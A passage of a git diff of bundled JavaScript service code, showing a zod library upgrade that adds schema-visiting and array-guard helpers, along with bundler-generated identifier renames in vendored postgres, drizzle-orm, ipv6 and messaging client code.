tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -61185,6 +66163,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -61242,9 +66228,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -61278,7 +66282,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = mapped; + } + let newCatchall = def.catchall; + if (def.catchall) { + newCatchall = run(def.catchall); + if (newCatchall !== def.catchall) + changed = true; + } + return changed ? clone(s, { ...def, shape: newShape, catchall: newCatchall }) : s; + } + case "array": { + const mapped = run(def.element); + return mapped === def.element ? s : clone(s, { ...def, element: mapped }); + } + case "tuple": { + const oldItems = def.items; + let changed = false; + const newItems = []; + for (const item of oldItems) { + const mapped = run(item); + if (mapped !== item) + changed = true; + newItems.push(mapped); + } + let newRest = def.rest; + if (def.rest) { + newRest = run(def.rest); + if (newRest !== def.rest) + changed = true; + } + return changed ? clone(s, { ...def, items: newItems, rest: newRest }) : s; + } + case "record": + case "map": { + const newKey = run(def.keyType); + const newVal = run(def.valueType); + return newKey === def.keyType && newVal === def.valueType ? s : clone(s, { ...def, keyType: newKey, valueType: newVal }); + } + case "set": { + const newVal = run(def.valueType); + return newVal === def.valueType ? s : clone(s, { ...def, valueType: newVal }); + } + case "union": { + const oldOptions = def.options; + let changed = false; + const newOptions = []; + for (const opt of oldOptions) { + const mapped = run(opt); + if (mapped !== opt) + changed = true; + newOptions.push(mapped); + } + return changed ? clone(s, { ...def, options: newOptions }) : s; + } + case "intersection": { + const newLeft = run(def.left); + const newRight = run(def.right); + return newLeft === def.left && newRight === def.right ? s : clone(s, { ...def, left: newLeft, right: newRight }); + } + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": { + const newInner = run(def.innerType); + return newInner === def.innerType ? s : clone(s, { ...def, innerType: newInner }); + } + case "pipe": { + const newIn = run(def.in); + const newOut = run(def.out); + return newIn === def.in && newOut === def.out ? s : clone(s, { ...def, in: newIn, out: newOut }); + } + case "function": { + const newInput = run(def.input); + const newOutput = run(def.output); + return newInput === def.input && newOutput === def.output ? s : clone(s, { ...def, input: newInput, output: newOutput }); + } + case "lazy": { + const original = def.getter; + const { _cachedInner, ...rest } = def; + return clone(s, { ...rest, getter: () => run(original()) }); + } + // A leaf by choice: `parts` are regex fragments, not data positions. + case "template_literal": + // Leaves. + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + return s; + default: { + kind; + return s; + } + } + } + return run(schema); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/deep-partial.js +function deepPartial(schema) { + return visit(schema, { + object: (s) => s.partial(), + // Every partialed option now admits `undefined`, which the constructor rejects as a duplicate. + union: (s) => { + const def = s._zod.def; + return def.discriminator === void 0 ? s : union(def.options); + } + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/in-out.js +function withChecks(side, checks) { + if (!checks?.length) + return side; + const def = side._zod.def; + return clone(side, mergeDefs(def, { checks: [...def.checks ?? [], ...checks] }), { parent: true }); +} +function outSide(def) { + return withChecks(def.out, def.checks); +} +function inSide(def) { + return def.in._zod.traits.has("$ZodTransform") ? outSide(def) : def.in; +} +function input(schema) { + return visit(schema, { + pipe: (s) => inSide(s._zod.def), + // A default value belongs to the output side, so a rewritten inner type leaves it stranded. `.default()` widens the declared input type with `undefined`, and `optional` is what carries that across. + default: (s, rewritten) => rewritten ? optional(s._zod.def.innerType) : s, + // A catch value is output-side too, but `.catch()` leaves the declared input type alone, so the inner schema stands on its own. + catch: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} +function output(schema) { + return visit(schema, { + pipe: (s) => outSide(s._zod.def), + // A prefault value is fed through the schema, which makes it input-side, so a rewritten inner type leaves it stranded. + prefault: (s, rewritten) => rewritten ? s._zod.def.innerType : s + }); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/coerce.js var coerce_exports = {}; __export(coerce_exports, { bigint: () => bigint3, @@ -61303,9 +66504,6 @@ function date4(params) { return _coercedDate(ZodDate, params); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js -config(en_default()); - // packages/types/src/common.ts var uuidSchema = external_exports.uuid(); var isoTimestampSchema = external_exports.iso.datetime(); @@ -62220,7 +67418,7 @@ var Errors = { }; function connection(x, options, socket) { const { host, port } = socket || options; - const error51 = Object.assign( + const error62 = Object.assign( new Error("write " + x + " " + (options.path || host + ":" + port)), { code: x, @@ -62229,29 +67427,29 @@ function connection(x, options, socket) { }, options.path ? {} : { port } ); - Error.captureStackTrace(error51, connection); - return error51; + Error.captureStackTrace(error62, connection); + return error62; } function postgres(x) { - const error51 = new PostgresError(x); - Error.captureStackTrace(error51, postgres); - return error51; + const error62 = new PostgresError(x); + Error.captureStackTrace(error62, postgres); + return error62; } function generic(code, message2) { - const error51 = Object.assign(new Error(code + ": " + message2), { code }); - Error.captureStackTrace(error51, generic); - return error51; + const error62 = Object.assign(new Error(code + ": " + message2), { code }); + Error.captureStackTrace(error62, generic); + return error62; } function notSupported(x) { - const error51 = Object.assign( + const error62 = Object.assign( new Error(x + " (B) is not supported"), { code: "MESSAGE_NOT_SUPPORTED", name: x } ); - Error.captureStackTrace(error51, notSupported); - return error51; + Error.captureStackTrace(error62, notSupported); + return error62; } // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/types.js @@ -62759,10 +67957,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose try { x = options.socket ? await Promise.resolve(options.socket(options)) : new net.Socket(); } catch (e) { - error51(e); + error62(e); return; } - x.on("error", error51); + x.on("error", error62); x.on("close", closed); x.on("drain", drain); return x; @@ -62773,8 +67971,8 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose await connect(); socket.once("error", reject); socket.once("close", resolve); - } catch (error52) { - reject(error52); + } catch (error63) { + reject(error63); } } function execute(q) { @@ -62789,9 +67987,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose query ? sent.push(q) : (query = q, query.active = true); build(q); return write(toBuffer(q)) && !q.describeFirst && !q.cursorFn && sent.length < max_pipeline && (!q.options.onexecute || q.options.onexecute(connection2)); - } catch (error52) { + } catch (error63) { sent.length === 0 && write(Sync); - errored(error52); + errored(error63); return true; } } @@ -62870,7 +68068,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket.removeAllListeners(); socket = tls.connect(options2); socket.on("secureConnect", connected); - socket.on("error", error51); + socket.on("error", error62); socket.on("close", closed); socket.on("drain", drain); } @@ -62936,10 +68134,10 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose const s = StartupMessage(); write(s); } catch (err) { - error51(err); + error62(err); } } - function error51(err) { + function error62(err) { if (connection2.queue === queues.connecting && options.host[retries + 1]) return; errored(err); @@ -62971,7 +68169,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose function terminate() { terminated = true; if (stream || query || initial || sent.length) - error51(Errors.connection("CONNECTION_DESTROYED", options)); + error62(Errors.connection("CONNECTION_DESTROYED", options)); clearImmediate(nextWriteTimer); if (socket) { socket.removeListener("data", data); @@ -62994,7 +68192,7 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose socket = null; if (initial) return reconnect(); - !hadError && (query || sent.length) && error51(Errors.connection("CONNECTION_CLOSED", options, socket)); + !hadError && (query || sent.length) && error62(Errors.connection("CONNECTION_CLOSED", options, socket)); closedTime = performance2.now(); hadError && options.shared.retries++; delay = (typeof backoff2 === "function" ? backoff2(options.shared.retries) : backoff2) * 1e3; @@ -63308,9 +68506,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose errored(Errors.postgres(parseError(x))); } } - function retry(q, error52) { + function retry(q, error63) { delete statements[q.signature]; - q.retried = error52; + q.retried = error63; execute(q); } function NotificationResponse(x) { @@ -63343,9 +68541,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -63374,9 +68572,9 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose write(chunk2, encoding, callback) { socket.write(bytes_default().d().raw(chunk2).end(), callback); }, - destroy(error52, callback) { - callback(error52); - socket.write(bytes_default().f().str(error52 + bytes_default.N).end()); + destroy(error63, callback) { + callback(error63); + socket.write(bytes_default().f().str(error63 + bytes_default.N).end()); stream = null; }, final(callback) { @@ -63458,15 +68656,15 @@ function Connection(options, queues = {}, { onopen = noop, onend = noop, onclose } } function parseError(x) { - const error51 = {}; + const error62 = {}; let start = 5; for (let i = 5; i < x.length - 1; i++) { if (x[i] === 0) { - error51[errorFields[x[start]]] = x.toString("utf8", start + 1, i); + error62[errorFields[x[start]]] = x.toString("utf8", start + 1, i); start = i + 1; } } - return error51; + return error62; } function md5(x) { return crypto2.createHash("md5").update(x).digest("hex"); @@ -63578,10 +68776,10 @@ function Subscribe(postgres2, options) { lsn: Buffer.concat(x.consistent_point.split("/").map((x2) => Buffer.from(("00000000" + x2).slice(-8), "hex"))) }; stream2.on("data", data); - stream2.on("error", error51); + stream2.on("error", error62); stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; - function error51(e) { + function error62(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { @@ -63806,7 +69004,7 @@ var src_default = Postgres; function Postgres(a, b2) { const options = parseOptions(a, b2), subscribe = options.no_subscribe || Subscribe(Postgres, { ...options }); let ending = false; - const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; + const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open2 = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open: open2, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); const sql3 = Sql(handler); Object.assign(sql3, { @@ -63919,7 +69117,7 @@ function Postgres(a, b2) { } async function reserve() { const queue = queue_default(); - const c = open.length ? open.shift() : await new Promise((resolve, reject) => { + const c = open2.length ? open2.shift() : await new Promise((resolve, reject) => { const query = { reserve: resolve, reject }; queries.push(query); closed.length && connect(closed.shift(), query); @@ -63947,8 +69145,8 @@ function Postgres(a, b2) { scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) ]); - } catch (error51) { - throw error51; + } catch (error62) { + throw error62; } async function scope(c, fn2, name) { const sql4 = Sql(handler2); @@ -63992,7 +69190,7 @@ function Postgres(a, b2) { c.queue.remove(c); queue.push(c); c.queue = queue; - queue === open ? c.idleTimer.start() : c.idleTimer.cancel(); + queue === open2 ? c.idleTimer.start() : c.idleTimer.cancel(); return c; } function json3(x) { @@ -64006,8 +69204,8 @@ function Postgres(a, b2) { function handler(query) { if (ending) return query.reject(Errors.connection("CONNECTION_ENDED", options, options)); - if (open.length) - return go(open.shift(), query); + if (open2.length) + return go(open2.shift(), query); if (closed.length) return connect(closed.shift(), query); busy.length ? go(busy.shift(), query) : queries.push(query); @@ -64052,7 +69250,7 @@ function Postgres(a, b2) { } function onopen(c) { if (queries.length === 0) - return move(c, open); + return move(c, open2); let max = Math.ceil(queries.length / (connecting.length + 1)), ready = true; while (ready && queries.length && max-- > 0) { const query = queries.shift(); @@ -64853,8 +70051,8 @@ var PgEnumColumn = class extends PgColumn { return this.enum.enumName; } }; -function pgEnum(enumName, input) { - return Array.isArray(input) ? pgEnumWithSchema(enumName, [...input], void 0) : pgEnumObjectWithSchema(enumName, input, void 0); +function pgEnum(enumName, input2) { + return Array.isArray(input2) ? pgEnumWithSchema(enumName, [...input2], void 0) : pgEnumObjectWithSchema(enumName, input2, void 0); } function pgEnumWithSchema(enumName, values2, schema) { const enumInstance = Object.assign( @@ -65578,16 +70776,16 @@ function mapResultRow(columns, row, joinsNotNullableMap) { } else { decoder2 = field.sql.decoder; } - let node = result2; + let node2 = result2; for (const [pathChunkIndex, pathChunk] of path.entries()) { if (pathChunkIndex < path.length - 1) { - if (!(pathChunk in node)) { - node[pathChunk] = {}; + if (!(pathChunk in node2)) { + node2[pathChunk] = {}; } - node = node[pathChunk]; + node2 = node2[pathChunk]; } else { const rawValue = row[columnIndex]; - const value = node[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); + const value = node2[pathChunk] = rawValue === null ? null : decoder2.mapFromDriverValue(rawValue); if (joinsNotNullableMap && is(field, Column) && path.length === 2) { const objectName = path[0]; if (!(objectName in nullifyMap)) { @@ -67302,19 +72500,19 @@ var PrimaryKey = class { }; // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/casing.js -function toSnakeCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toSnakeCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.map((word) => word.toLowerCase()).join("_"); } -function toCamelCase(input) { - const words = input.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; +function toCamelCase(input2) { + const words = input2.replace(/['\u2019]/g, "").match(/[\da-z]+|[A-Z]+(?![a-z])|[A-Z][\da-z]+/g) ?? []; return words.reduce((acc, word, i) => { const formattedWord = i === 0 ? word.toLowerCase() : `${word[0].toUpperCase()}${word.slice(1)}`; return acc + formattedWord; }, ""); } -function noopCase(input) { - return input; +function noopCase(input2) { + return input2; } var CasingCache = class { static [entityKind] = "CasingCache"; @@ -67849,13 +73047,13 @@ var PgDialect = class { const columnNames = Object.keys(tableColumns).filter( (colName) => set2[colName] !== void 0 || tableColumns[colName]?.onUpdateFn !== void 0 ); - const setSize = columnNames.length; + const setSize2 = columnNames.length; return sql.join(columnNames.flatMap((colName, i) => { const col = tableColumns[colName]; const onUpdateFnResult = col.onUpdateFn?.(); const value = set2[colName] ?? (is(onUpdateFnResult, SQL) ? onUpdateFnResult : sql.param(onUpdateFnResult, col)); const res = sql`${sql.identifier(this.casing.getColumnCasing(col))} = ${value}`; - if (i < setSize - 1) { + if (i < setSize2 - 1) { return [res, sql.raw(", ")]; } return [res]; @@ -72044,35 +77242,35 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("auth-service"); registerHttpMetrics(app2, metrics2); - app2.setErrorHandler((error51, request, reply) => { - if (error51 instanceof ZodError) { + app2.setErrorHandler((error62, request, reply) => { + if (error62 instanceof ZodError) { reply.status(400).send({ error: { code: "VALIDATION_ERROR", message: "Request failed validation", request_id: request.id, - details: error51.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) + details: error62.issues.map((issue2) => ({ path: issue2.path.join("."), message: issue2.message })) } }); return; } - if (isAppError(error51)) { - reply.status(error51.statusCode).send(error51.toResponse(request.id)); + if (isAppError(error62)) { + reply.status(error62.statusCode).send(error62.toResponse(request.id)); return; } - const fastifyStatus = error51.statusCode; + const fastifyStatus = error62.statusCode; if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { reply.status(fastifyStatus).send({ error: { code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", - message: error51.message, + message: error62.message, request_id: request.id } }); return; } - request.log.error({ err: error51 }, "unhandled error"); - const appError = toAppError(error51); + request.log.error({ err: error62 }, "unhandled error"); + const appError = toAppError(error62); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); app2.setNotFoundHandler((request, reply) => { diff --git a/api/jobs/index.js b/api/jobs/index.js index 60211c5..48370c2 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -1540,12 +1540,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -1567,12 +1567,12 @@ var require_sonic_boom = __commonJS({ throw new Error("flush cb must be a function"); } if (this.destroyed) { - const error51 = new Error("SonicBoom destroyed"); + const error62 = new Error("SonicBoom destroyed"); if (cb) { - cb(error51); + cb(error62); return; } - throw error51; + throw error62; } if (this.minLength <= 0) { cb?.(); @@ -2234,11 +2234,11 @@ var require_thread_stream = __commonJS({ write(data) { const dataBuf = Buffer.isBuffer(data) ? data : Buffer.from(data); if (this[kImpl].destroyed) { - error51(this, new Error("the worker has exited")); + error62(this, new Error("the worker has exited")); return false; } if (this[kImpl].ending) { - error51(this, new Error("the worker is ending")); + error62(this, new Error("the worker is ending")); return false; } if (this[kImpl].flushing && this[kImpl].bufLen + dataBuf.length >= MAX_STRING) { @@ -2399,7 +2399,7 @@ var require_thread_stream = __commonJS({ } callbacks.clear(); } - function error51(stream, err) { + function error62(stream, err) { setImmediate(() => { stream.emit("error", err); }); @@ -2412,7 +2412,7 @@ var require_thread_stream = __commonJS({ failPendingFlushCallbacks(stream, err); if (err) { stream[kImpl].errored = err; - error51(stream, err); + error62(stream, err); } if (!stream.worker.exited) { stream.worker.terminate().catch(() => { @@ -4552,16 +4552,16 @@ var require_querystringify = __commonJS({ "use strict"; var has = Object.prototype.hasOwnProperty; var undef; - function decode4(input) { + function decode4(input2) { try { - return decodeURIComponent(input.replace(/\+/g, " ")); + return decodeURIComponent(input2.replace(/\+/g, " ")); } catch (e) { return null; } } - function encode4(input) { + function encode4(input2) { try { - return encodeURIComponent(input); + return encodeURIComponent(input2); } catch (e) { return null; } @@ -10898,8 +10898,8 @@ var require_connection = __commonJS({ var s = stackCapture("closeBecause called: " + reason); this.toClosing(s, k); } - closeWithError(reason, code, error51) { - this.emit("error", error51); + closeWithError(reason, code, error62) { + this.emit("error", error62); this.closeBecause(reason, code); } onSocketError(err) { @@ -11207,8 +11207,8 @@ var require_connection = __commonJS({ return ws; } } - function isFatalError(error51) { - switch (error51 && error51.code) { + function isFatalError(error62) { + switch (error62 && error62.code) { case defs.constants.CONNECTION_FORCED: case defs.constants.REPLY_SUCCESS: return false; @@ -11629,15 +11629,15 @@ var require_channel = __commonJS({ // If we close because there's been an error, we need to distinguish // between what we tell the server (`reason`) and what we report as // the cause in the client (`error`). - closeWithError(id, reason, code, error51) { + closeWithError(id, reason, code, error62) { var self2 = this; this.closeBecause(reason, code, function() { - error51.code = code; + error62.code = code; if (id) { - error51.classId = defs.info(id).classId; - error51.methodId = defs.info(id).methodId; + error62.classId = defs.info(id).classId; + error62.methodId = defs.info(id).methodId; } - self2.emit("error", error51); + self2.emit("error", error62); }); } // A trampolining state machine for message frames on a channel. A @@ -11728,11 +11728,11 @@ var require_channel = __commonJS({ } var emsg = "Channel closed by server: " + closeMsg(f); this.sendImmediately(defs.ChannelCloseOk, {}); - var error51 = new Error(emsg); - error51.code = f.fields.replyCode; - error51.classId = f.fields.classId; - error51.methodId = f.fields.methodId; - this.emit("error", error51); + var error62 = new Error(emsg); + error62.code = f.fields.replyCode; + error62.classId = f.fields.classId; + error62.methodId = f.fields.methodId; + this.emit("error", error62); var s = stackCapture(emsg); this.toClosed(s); return; @@ -13402,9 +13402,9 @@ var require_cors = __commonJS({ addOriginToVaryHeader(reply); } const resolveOriginOption = typeof options.origin === "function" ? resolveOriginWrapper(fastify, options.origin) : (_, cb) => cb(null, options.origin); - resolveOriginOption(req, (error51, resolvedOriginOption) => { - if (error51 !== null) { - return next(error51); + resolveOriginOption(req, (error62, resolvedOriginOption) => { + if (error62 !== null) { + return next(error62); } if (resolvedOriginOption === false) { return next(); @@ -13820,8 +13820,8 @@ var require_ipv4 = __commonJS({ * Address4.fromWildcard('192.168.*.*').subnet; // '/16' * Address4.fromWildcard('*.*.*.*').subnet; // '/0' */ - static fromWildcard(input) { - const groups = input.split("."); + static fromWildcard(input2) { + const groups = input2.split("."); if (groups.length !== constants.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 4 octets"); } @@ -13908,12 +13908,12 @@ var require_ipv4 = __commonJS({ * @returns {String} */ toGroup6() { - const output = []; + const output2 = []; let i; for (i = 0; i < constants.GROUPS; i += 2) { - output.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); + output2.push(`${common.stringToPaddedHex(this.parsedAddress[i])}${common.stringToPaddedHex(this.parsedAddress[i + 1])}`); } - return output.join(":"); + return output2.join(":"); } /** * Returns the address as a `bigint` @@ -14629,21 +14629,21 @@ var require_ipv6 = __commonJS({ let host; let port = null; let result; - let error51; + let error62; const stripped = url2.replace(/^[a-z][a-z0-9+.-]*:\/\//i, ""); if (stripped.indexOf("[") !== -1 && stripped.indexOf("]:") !== -1) { - error51 = "failed to parse address with port"; + error62 = "failed to parse address with port"; result = constants6.RE_URL_WITH_PORT.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = result[1]; port = result[2]; } else { - error51 = "failed to parse address from URL"; + error62 = "failed to parse address from URL"; result = constants6.RE_URL.exec(stripped); if (result === null) { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } host = (_a3 = result[1]) !== null && _a3 !== void 0 ? _a3 : result[2]; } @@ -14659,7 +14659,7 @@ var require_ipv6 = __commonJS({ try { address = new _Address6(host); } catch { - return { error: error51, address: null, port: null }; + return { error: error62, address: null, port: null }; } return { address, port }; } @@ -14706,11 +14706,11 @@ var require_ipv6 = __commonJS({ * Address6.fromWildcard('2001:db8::*').subnet; // '/112' * Address6.fromWildcard('*:*:*:*:*:*:*:*').subnet; // '/0' */ - static fromWildcard(input) { - if (input.includes("%") || input.includes("/")) { + static fromWildcard(input2) { + if (input2.includes("%") || input2.includes("/")) { throw new address_error_1.AddressError("Wildcard pattern must not include a zone or CIDR suffix"); } - const halves = input.split("::"); + const halves = input2.split("::"); if (halves.length > 2) { throw new address_error_1.AddressError("Wildcard pattern cannot contain more than one '::'"); } @@ -14724,7 +14724,7 @@ var require_ipv6 = __commonJS({ } groups = [...left, ...new Array(remaining).fill("0"), ...right]; } else { - groups = input.split(":"); + groups = input2.split(":"); } if (groups.length !== constants6.GROUPS) { throw new address_error_1.AddressError("Wildcard pattern must have 8 groups"); @@ -15695,29 +15695,29 @@ var require_ipv6 = __commonJS({ } assert2(typeof this.elidedGroups === "number"); assert2(typeof this.elisionBegin === "number"); - const output = []; + const output2 = []; const [left, right] = this.addressMinusSuffix.split("::"); if (left.length) { - output.push(...helpers.simpleGroup(left)); + output2.push(...helpers.simpleGroup(left)); } else { - output.push(""); + output2.push(""); } const classes = ["hover-group"]; for (let i = this.elisionBegin; i < this.elisionBegin + this.elidedGroups; i++) { classes.push(`group-${i}`); } - output.push(``); + output2.push(``); if (right.length) { - output.push(...helpers.simpleGroup(right, this.elisionEnd)); + output2.push(...helpers.simpleGroup(right, this.elisionEnd)); } else { - output.push(""); + output2.push(""); } if (this.is4()) { assert2(this.address4 instanceof ipv4_1.Address4); - output.pop(); - output.push(this.address4.groupForV6()); + output2.pop(); + output2.push(this.address4.groupForV6()); } - return output.join(":"); + return output2.join(":"); } // #endregion // #region Regular expressions @@ -15728,36 +15728,36 @@ var require_ipv6 = __commonJS({ * @returns {string} */ regularExpressionString(substringSearch = false) { - let output = []; + let output2 = []; const address6 = new _Address6(this.correctForm()); if (address6.elidedGroups === 0) { - output.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); + output2.push((0, regular_expressions_1.simpleRegularExpression)(address6.parsedAddress)); } else if (address6.elidedGroups === constants6.GROUPS) { - output.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); + output2.push((0, regular_expressions_1.possibleElisions)(constants6.GROUPS)); } else { const halves = address6.address.split("::"); if (halves[0].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[0].split(":"))); } assert2(typeof address6.elidedGroups === "number"); - output.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); + output2.push((0, regular_expressions_1.possibleElisions)(address6.elidedGroups, halves[0].length !== 0, halves[1].length !== 0)); if (halves[1].length) { - output.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); + output2.push((0, regular_expressions_1.simpleRegularExpression)(halves[1].split(":"))); } - output = [output.join(":")]; + output2 = [output2.join(":")]; } if (!substringSearch) { - output = [ + output2 = [ "(?=^|", regular_expressions_1.ADDRESS_BOUNDARY, "|[^\\w\\:])(", - ...output, + ...output2, ")(?=[^\\w\\:]|", regular_expressions_1.ADDRESS_BOUNDARY, "|$)" ]; } - return output.join(""); + return output2.join(""); } /** * Generate a regular expression that can be used to find or validate all @@ -16428,7 +16428,7 @@ var require_queue = __commonJS({ empty: noop3, kill, killAndDrain, - error: error51, + error: error62, abort }; return self2; @@ -16571,7 +16571,7 @@ var require_queue = __commonJS({ } self2.drain = noop3; } - function error51(handler) { + function error62(handler) { errorHandler = handler; } } @@ -16839,23 +16839,23 @@ var require_time_tree = __commonJS({ /** * @param {TimeTreeNode} node */ - [kTrackNode](node) { - this.tableId.set(node.id, node); - if (this.tableLabel.has(node.label)) { - this.tableLabel.get(node.label).push(node); + [kTrackNode](node2) { + this.tableId.set(node2.id, node2); + if (this.tableLabel.has(node2.label)) { + this.tableLabel.get(node2.label).push(node2); } else { - this.tableLabel.set(node.label, [node]); + this.tableLabel.set(node2.label, [node2]); } } /** * @param {TimeTreeNode} node */ - [kUntrackNode](node) { - this.tableId.delete(node.id); - const labelNode = this.tableLabel.get(node.label); + [kUntrackNode](node2) { + this.tableId.delete(node2.id); + const labelNode = this.tableLabel.get(node2.label); labelNode.pop(); if (labelNode.length === 0) { - this.tableLabel.delete(node.label); + this.tableLabel.delete(node2.label); } } /** @@ -16930,11 +16930,11 @@ var require_time_tree = __commonJS({ * @param {number|undefined} stop */ stop(nodeId, stop = Date.now()) { - const node = this[kGetNode](nodeId); - if (node) { - node.stop = stop; - node.diff = node.stop - node.start || 0; - this[kUntrackNode](node); + const node2 = this[kGetNode](nodeId); + if (node2) { + node2.stop = stop; + node2.diff = node2.stop - node2.start || 0; + this[kUntrackNode](node2); } } /** @@ -16957,12 +16957,12 @@ var require_time_tree = __commonJS({ result += `${obj.label} ${obj.diff} ms `; for (let i = 0; i < nodesCount; ++i) { - const node = obj.nodes[i]; + const node2 = obj.nodes[i]; const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); result += prefix; result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; - result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; - result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + result += node2.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node2, prefix_).slice(prefix.length + 2); } return result; } @@ -17288,14 